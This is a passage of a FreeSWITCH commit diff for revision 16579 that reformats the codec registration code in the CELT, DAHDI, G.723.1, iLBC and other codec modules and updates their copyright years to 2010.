+ (unsigned char *) encoded_data, context->bytes_per_packet);
return SWITCH_STATUS_SUCCESS;
}
@@ -149,52 +149,48 @@
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
-
- SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 114, /* the IANA code number */
- "CELT", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 32000, /* samples transferred per second */
- 32000, /* actual samples transferred per second */
- 32000, /* bits transferred per second */
- 10000, /* number of microseconds per frame */
- 320, /* number of samples per frame */
- 640, /* number of bytes per frame decompressed */
- 0, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_celt_init, /* function to initialize a codec handle using this implementation */
- switch_celt_encode, /* function to encode raw data into encoded data */
- switch_celt_decode, /* function to decode encoded data into raw data */
- switch_celt_destroy); /* deinitalize a codec handle using this implementation */
+ SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
+
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 114, /* the IANA code number */
+ "CELT", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 32000, /* samples transferred per second */
+ 32000, /* actual samples transferred per second */
+ 32000, /* bits transferred per second */
+ 10000, /* number of microseconds per frame */
+ 320, /* number of samples per frame */
+ 640, /* number of bytes per frame decompressed */
+ 0, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_celt_init, /* function to initialize a codec handle using this implementation */
+ switch_celt_encode, /* function to encode raw data into encoded data */
+ switch_celt_decode, /* function to decode encoded data into raw data */
+ switch_celt_destroy); /* deinitalize a codec handle using this implementation */
ms_per_frame = 2000;
samples_per_frame = 96;
bytes_per_frame = 192;
-
+
for (x = 0; x < 5; x++) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 114, /* the IANA code number */
- "CELT", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 48000, /* samples transferred per second */
- 48000, /* actual samples transferred per second */
- 48000, /* bits transferred per second */
- ms_per_frame, /* number of microseconds per frame */
- samples_per_frame, /* number of samples per frame */
- bytes_per_frame, /* number of bytes per frame decompressed */
- 0, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_celt_init, /* function to initialize a codec handle using this implementation */
- switch_celt_encode, /* function to encode raw data into encoded data */
- switch_celt_decode, /* function to decode encoded data into raw data */
- switch_celt_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 114, /* the IANA code number */
+ "CELT", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 48000, /* samples transferred per second */
+ 48000, /* actual samples transferred per second */
+ 48000, /* bits transferred per second */
+ ms_per_frame, /* number of microseconds per frame */
+ samples_per_frame, /* number of samples per frame */
+ bytes_per_frame, /* number of bytes per frame decompressed */
+ 0, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_celt_init, /* function to initialize a codec handle using this implementation */
+ switch_celt_encode, /* function to encode raw data into encoded data */
+ switch_celt_decode, /* function to decode encoded data into raw data */
+ switch_celt_destroy); /* deinitalize a codec handle using this implementation */
ms_per_frame += 2000;
samples_per_frame += 96;
bytes_per_frame += 192;
Modified: freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -33,7 +33,7 @@
#include <switch.h>
#include <g711.h>
#include <poll.h>
-#include <linux/types.h> /* __u32 */
+#include <linux/types.h> /* __u32 */
#include <sys/ioctl.h>
#include <unistd.h>
#include <fcntl.h>
@@ -75,8 +75,8 @@
#define DAHDI_FORMAT_G729A (1 << 8)
struct dahdi_transcoder_formats {
- __u32 srcfmt;
- __u32 dstfmt;
+ __u32 srcfmt;
+ __u32 dstfmt;
};
struct dahdi_transcoder_info {
@@ -108,15 +108,11 @@
int32_t fdflags;
int32_t fd = open(transcoding_device, O_RDWR);
if (fd < 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
- "Failed to open %s transcoder device: %s.\n",
- transcoder_name, strerror(errno));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
return -1;
}
if (ioctl(fd, DAHDI_TC_ALLOCATE, fmts)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
- "Failed to attach to transcoder: %s.\n",
- strerror(errno));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to attach to transcoder: %s.\n", strerror(errno));
close(fd);
return -1;
}
@@ -124,15 +120,14 @@
if (fdflags > -1) {
fdflags |= O_NONBLOCK;
if (fcntl(fd, F_SETFL, fdflags)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
- transcoder_name, strerror(errno));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
+ transcoder_name, strerror(errno));
/* should we abort? this may cause channels to hangup when overruning the device
* see jira dahdi codec issue MODCODEC-8 (Hung Calls and Codec DAHDI G.729A 8.0k decoder error!)
* */
}
} else {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n",
- transcoder_name, strerror(errno));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n", transcoder_name, strerror(errno));
}
if (fmts->srcfmt & DAHDI_FORMAT_ULAW) {
@@ -154,19 +149,17 @@
struct dahdi_context *context = codec->private_info;
fmts.srcfmt = DAHDI_FORMAT_ULAW;
- fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
+ fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
context->encoding_fd = switch_dahdi_get_transcoder(&fmts);
if (context->encoding_fd < 0) {
#ifdef DEBUG_DAHDI_CODEC
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n",
- fmts.srcfmt, fmts.dstfmt);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
return SWITCH_STATUS_FALSE;
}
#ifdef DEBUG_DAHDI_CODEC
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n",
- fmts.srcfmt, fmts.dstfmt);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
@@ -176,23 +169,21 @@
static switch_status_t init_decoder(switch_codec_t *codec)
{
- struct dahdi_transcoder_formats fmts;
- struct dahdi_context *context = codec->private_info;
+ struct dahdi_transcoder_formats fmts;
+ struct dahdi_context *context = codec->private_info;
fmts.dstfmt = DAHDI_FORMAT_ULAW;
- fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
+ fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
context->decoding_fd = switch_dahdi_get_transcoder(&fmts);
if (context->decoding_fd < 0) {
#ifdef DEBUG_DAHDI_CODEC
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n",
- fmts.srcfmt, fmts.dstfmt);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
return SWITCH_STATUS_FALSE;
}
#ifdef DEBUG_DAHDI_CODEC
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n",
- fmts.srcfmt, fmts.dstfmt);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
#endif
return SWITCH_STATUS_SUCCESS;
@@ -228,7 +219,7 @@
/* ulaw requires 8 times more storage than g729 and 12 times more than G723, right?
* this can be used to calculate the target buffer when encoding and decoding
* */
- context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
+ context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
? 8 : 12;
@@ -238,7 +229,7 @@
static int wait_for_transcoder(int fd)
{
/* let's wait a bit for the transcoder, if in 20msthe driver does not notify us that its ready to give us something
- then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
+ then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
int res = 0;
struct pollfd readpoll;
memset(&readpoll, 0, sizeof(readpoll));
@@ -246,21 +237,21 @@
readpoll.events = POLLIN;
/* my testing shows that it does not take more than 1ms to encode a 160 bytes frame ulaw to g729,
I dont think there is much difference decoding and for g723, waiting 10ms seems more than reasonable */
- res = poll(&readpoll, 1, 10);
+ res = poll(&readpoll, 1, 10);
return res;
}
static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
- switch_codec_t *other_codec,
- void *decoded_data,
- uint32_t decoded_data_len,
- uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
- unsigned int *flag)
+ switch_codec_t *other_codec,
+ void *decoded_data,
+ uint32_t decoded_data_len,
+ uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+ unsigned int *flag)
{
int32_t res;
short *dbuf_linear;
unsigned char *ebuf_g729;
- unsigned char ebuf_ulaw[decoded_data_len/2];
+ unsigned char ebuf_ulaw[decoded_data_len / 2];
uint32_t i;
struct dahdi_context *context = NULL;
switch_status_t status;
@@ -290,7 +281,8 @@
return SWITCH_STATUS_FALSE;
}
if (i != res) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i, transcoder_name, res);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i,
+ transcoder_name, res);
return SWITCH_STATUS_FALSE;
}
res = wait_for_transcoder(context->encoding_fd);
@@ -333,7 +325,7 @@
int32_t res;
short *dbuf_linear;
// we only can decode up to half ulaw bytes of whatever their destiny linear buffer is
- unsigned char dbuf_ulaw[*decoded_data_len/2];
+ unsigned char dbuf_ulaw[*decoded_data_len / 2];
unsigned char *ebuf_g729;
uint32_t i;
struct dahdi_context *context;
@@ -360,7 +352,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI decode in silence returned %d bytes.\n", *decoded_data_len);
#endif
return SWITCH_STATUS_SUCCESS;
- }
+ }
#ifdef DEBUG_DAHDI_CODEC
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Writing %d bytes to decode.\n", encoded_data_len);
#endif
@@ -370,12 +362,12 @@
return SWITCH_STATUS_FALSE;
}
if (encoded_data_len != res) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n", encoded_data_len, transcoder_name, res);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n",
+ encoded_data_len, transcoder_name, res);
return SWITCH_STATUS_FALSE;
}
#ifdef DEBUG_DAHDI_CODEC
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n",
- sizeof(dbuf_ulaw));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n", sizeof(dbuf_ulaw));
#endif
res = wait_for_transcoder(context->decoding_fd);
if (-1 == res) {
@@ -386,7 +378,8 @@
memset(dbuf_linear, 0, codec->implementation->decoded_bytes_per_packet);
*decoded_data_len = codec->implementation->decoded_bytes_per_packet;
#ifdef DEBUG_DAHDI_CODEC
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name, *decoded_data_len);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name,
+ *decoded_data_len);
#endif
return SWITCH_STATUS_SUCCESS;
}
@@ -437,10 +430,8 @@
return SWITCH_STATUS_SUCCESS;
}
switch_mutex_lock(transcoder_counter_mutex);
- stream->write_function(stream, "Using %d encoders of a total of %d available.\n",
- total_encoders_usage, total_encoders);
- stream->write_function(stream, "Using %d decoders of a total of %d available.\n",
- total_decoders_usage, total_decoders);
+ stream->write_function(stream, "Using %d encoders of a total of %d available.\n", total_encoders_usage, total_encoders);
+ stream->write_function(stream, "Using %d decoders of a total of %d available.\n", total_decoders_usage, total_decoders);
switch_mutex_unlock(transcoder_counter_mutex);
return SWITCH_STATUS_SUCCESS;
}
@@ -452,10 +443,10 @@
struct stat statbuf;
struct dahdi_transcoder_info info = { 0 };
int32_t fd, res;
- int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
- int spf = 160;
- int bpfd = 320;
- int bpfc = 20;
+ int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
+ int spf = 160;
+ int bpfd = 320;
+ int bpfc = 20;
int fpnp = 20;
total_encoders = 0;
@@ -479,8 +470,7 @@
fd = open(transcoding_device, O_RDWR);
if (fd < 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n",
- transcoder_name, strerror(errno));
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
return SWITCH_STATUS_FALSE;
}
@@ -491,14 +481,13 @@
continue;
}
if ((info.dstfmts & DAHDI_FORMAT_ULAW) && (info.srcfmts & (DAHDI_FORMAT_G729A | DAHDI_FORMAT_G723_1))) {
- total_decoders += info.numchannels;
+ total_decoders += info.numchannels;
continue;
}
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
- "Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
}
close(fd);
-
+
if (!total_encoders && !total_decoders) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No DAHDI transcoders found.\n");
return SWITCH_STATUS_FALSE;
@@ -510,79 +499,73 @@
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
-
- SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 18, /* the IANA code number */
- "G729", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 8000, /* bits transferred per second */
- mpf, /* number of microseconds per frame */
- spf, /* number of samples per frame */
- bpfd, /* number of bytes per frame decompressed */
- bpfc, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- fpnp, /* number of frames per network packet */
- switch_dahdi_init, /* function to initialize a codec handle using this implementation */
- switch_dahdi_encode, /* function to encode raw data into encoded data */
- switch_dahdi_decode, /* function to decode encoded data into raw data */
- switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
+ SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
- mpf = 30000;
- spf = 240;
- bpfd = 480;
- bpfc = 30;
- fpnp = 30;
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 18, /* the IANA code number */
- "G729", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 8000, /* bits transferred per second */
- mpf, /* number of microseconds per frame */
- spf, /* number of samples per frame */
- bpfd, /* number of bytes per frame decompressed */
- bpfc, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- fpnp, /* number of frames per network packet */
- switch_dahdi_init, /* function to initialize a codec handle using this implementation */
- switch_dahdi_encode, /* function to encode raw data into encoded data */
- switch_dahdi_decode, /* function to decode encoded data into raw data */
- switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 18, /* the IANA code number */
+ "G729", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 8000, /* bits transferred per second */
+ mpf, /* number of microseconds per frame */
+ spf, /* number of samples per frame */
+ bpfd, /* number of bytes per frame decompressed */
+ bpfc, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ fpnp, /* number of frames per network packet */
+ switch_dahdi_init, /* function to initialize a codec handle using this implementation */
+ switch_dahdi_encode, /* function to encode raw data into encoded data */
+ switch_dahdi_decode, /* function to decode encoded data into raw data */
+ switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
- SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
- mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
+ mpf = 30000;
spf = 240;
bpfd = 480;
+ bpfc = 30;
+ fpnp = 30;
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 18, /* the IANA code number */
+ "G729", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 8000, /* bits transferred per second */
+ mpf, /* number of microseconds per frame */
+ spf, /* number of samples per frame */
+ bpfd, /* number of bytes per frame decompressed */
+ bpfc, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ fpnp, /* number of frames per network packet */
+ switch_dahdi_init, /* function to initialize a codec handle using this implementation */
+ switch_dahdi_encode, /* function to encode raw data into encoded data */
+ switch_dahdi_decode, /* function to decode encoded data into raw data */
+ switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
+
+ SWITCH_ADD_CODEC(codec_interface, "DAHDI G.723.1 5.3k"); /* 5.3kbit */
+ mpf = 30000; /* Algorithmic delay of 37.5ms with 7.5ms of look-ahead delay */
+ spf = 240;
+ bpfd = 480;
bpfc = 20;
fpnp = 10;
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 4, /* the IANA code number */
- "G723", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 8000, /* bits transferred per second */
- mpf, /* number of microseconds per frame */
- spf, /* number of samples per frame */
- bpfd, /* number of bytes per frame decompressed */
- bpfc, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- fpnp, /* number of frames per network packet */
- switch_dahdi_init, /* function to initialize a codec handle using this implementation */
- switch_dahdi_encode, /* function to encode raw data into encoded data */
- switch_dahdi_decode, /* function to decode encoded data into raw data */
- switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 4, /* the IANA code number */
+ "G723", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 8000, /* bits transferred per second */
+ mpf, /* number of microseconds per frame */
+ spf, /* number of samples per frame */
+ bpfd, /* number of bytes per frame decompressed */
+ bpfc, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ fpnp, /* number of frames per network packet */
+ switch_dahdi_init, /* function to initialize a codec handle using this implementation */
+ switch_dahdi_encode, /* function to encode raw data into encoded data */
+ switch_dahdi_decode, /* function to decode encoded data into raw data */
+ switch_dahdi_destroy); /* deinitalize a codec handle using this implementation */
SWITCH_ADD_API(api_interface, "dahdi_transcode", "DAHDI Transcode", dahdi_transcode_usage, NULL);
switch_console_set_complete("add dahdi_transcode");
Modified: freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_g723_1/mod_g723_1.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -171,8 +171,8 @@
{
switch_codec_interface_t *codec_interface;
int ompf = 30000, ospf = 240, obpf = 480, oebpf = 24, count = 0;
- int mpf = ompf , spf = ospf , bpf = obpf , ebpf = oebpf ;
-
+ int mpf = ompf, spf = ospf, bpf = obpf, ebpf = oebpf;
+
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_CODEC(codec_interface, "G.723.1 6.3k");
@@ -180,8 +180,7 @@
for (count = 0; count < 4; count++) {
switch_core_codec_add_implementation(pool, codec_interface,
SWITCH_CODEC_TYPE_AUDIO, 4, "G723", NULL, 8000, 8000, 6300,
- mpf , spf , bpf , ebpf , 1, count,
- switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
+ mpf, spf, bpf, ebpf, 1, count, switch_g723_init, switch_g723_encode, switch_g723_decode, switch_g723_destroy);
mpf += ompf;
spf += ospf;
bpf += obpf;
Modified: freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_g729/mod_g729.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_h26x/mod_h26x.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c (16578 => 16579)
--- freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_ilbc/mod_ilbc.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -46,10 +46,10 @@
int encoding = (flags & SWITCH_CODEC_FLAG_ENCODE);
int decoding = (flags & SWITCH_CODEC_FLAG_DECODE);
int mode = codec->implementation->microseconds_per_packet / 1000;
-
+
if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
return SWITCH_STATUS_FALSE;
- }
+ }
if (codec->fmtp_in) {
int x, argc;
@@ -70,9 +70,9 @@
}
}
}
-
+
codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "mode=%d", mode);
-
+
if (encoding) {
ilbc_encode_init(&context->encoder_object, mode);
}
@@ -80,7 +80,7 @@
if (decoding) {
ilbc_decode_init(&context->decoder_object, mode, 0);
}
-
+
codec->private_info = context;
return SWITCH_STATUS_SUCCESS;
}
@@ -122,7 +122,7 @@
return SWITCH_STATUS_FALSE;
}
- *decoded_data_len = (2 *ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
+ *decoded_data_len = (2 * ilbc_decode(&context->decoder_object, (int16_t *) decoded_data, (uint8_t *) encoded_data, encoded_data_len));
return SWITCH_STATUS_SUCCESS;
}
@@ -137,45 +137,41 @@
SWITCH_ADD_CODEC(codec_interface, "iLBC");
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 98, /* the IANA code number */
- "iLBC", /* the IANA code name */
- "mode=20", /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 15200, /* bits transferred per second */
- 20000, /* number of microseconds per frame */
- ILBC_BLOCK_LEN_20MS, /* number of samples per frame */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 98, /* the IANA code number */
+ "iLBC", /* the IANA code name */
+ "mode=20", /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 15200, /* bits transferred per second */
+ 20000, /* number of microseconds per frame */
+ ILBC_BLOCK_LEN_20MS, /* number of samples per frame */
ILBC_BLOCK_LEN_20MS * 2, /* number of bytes per frame decompressed */
- ILBC_NO_OF_BYTES_20MS, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 1, /* number of frames per network packet */
- switch_ilbc_init, /* function to initialize a codec handle using this implementation */
- switch_ilbc_encode, /* function to encode raw data into encoded data */
- switch_ilbc_decode, /* function to decode encoded data into raw data */
- switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
+ ILBC_NO_OF_BYTES_20MS, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 1, /* number of frames per network packet */
+ switch_ilbc_init, /* function to initialize a codec handle using this implementation */
+ switch_ilbc_encode, /* function to encode raw data into encoded data */
+ switch_ilbc_decode, /* function to decode encoded data into raw data */
+ switch_ilbc_destroy); /* deinitalize a codec handle using this implementation */
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 97, /* the IANA code number */
- "iLBC", /* the IANA code name */
- "mode=30", /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 13300, /* bits transferred per second */
- 30000, /* number of microseconds per frame */
- ILBC_BLOCK_LEN_30MS, /* number of samples per frame */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 97, /* the IANA code number */
+ "iLBC", /* the IANA code name */
+ "mode=30", /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 13300, /* bits transferred per second */
+ 30000, /* number of microseconds per frame */
+ ILBC_BLOCK_LEN_30MS, /* number of samples per frame */
ILBC_BLOCK_LEN_30MS * 2, /* number of bytes per frame decompressed */
- ILBC_NO_OF_BYTES_30MS, /* number of bytes per frame compressed */
